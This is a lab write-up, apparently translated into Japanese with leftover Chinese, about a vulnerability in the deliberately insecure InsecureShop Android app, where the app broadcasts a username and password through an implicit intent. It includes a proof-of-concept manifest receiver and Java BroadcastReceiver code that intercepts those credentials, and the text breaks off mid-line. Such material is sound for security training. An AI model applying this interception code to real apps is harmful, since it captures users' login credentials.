目次
脆弱性 #9 - 暗黙的な意図を使用して機密データを含むブロードキャストを送信する
1. 脆弱性分析
AboutUsActivity.class では
、アクションを通じてブロードキャストが暗黙的に送信され、コンテンツがユーザー名とパスワードであることがわかります。
これはどのようにして onSendData がトリガーされるのでしょうか? ソース コードをもう一度確認して、現在のソース コード ファイルに直接呼び出しがないことを確認してください。 。
他の場所で呼び出しが行われている可能性があります。レイアウト ファイル activity_about_us.xml を確認してください。
レイアウト ファイルでは、ボタン要素の onclick イベントが onSendData メソッドに関連付けられています。
2.pocライティング
2.1 poc Android apk targetSdkVersion <=25 - 依存関係リストで宣言されています
如果目标targetSdkVersion <=25
暗黙的なブロードキャストを受信したい場合は、androidManifest.xml で登録を宣言できます。
<receiver>
android:name=".vul_broadcastReciever.MyReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.BROADCAST"/>
</intent-filter>
</receiver>
MyReceiver.class
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent != null){
String action = intent.getAction();
if ("com.insecureshop.action.BROADCAST".equals(action)){
String username = intent.getStringExtra("username");
String password = intent.getStringExtra("password");
if (username != null && password != null ) {
// 通过显示intent发送数据到activity中
Intent intent1 = new Intent(context,Vul_getDataFromBroadcast.class);
intent1.putExtra("username",username);
intent1.putExtra("password",password);
context.startActivity(intent1);
}
}
}
}
}
Vul_getDataFromBroadcast.class
// 接收数据
String username = getIntent().getStringExtra("username");
String password = getIntent().getStringExtra(&#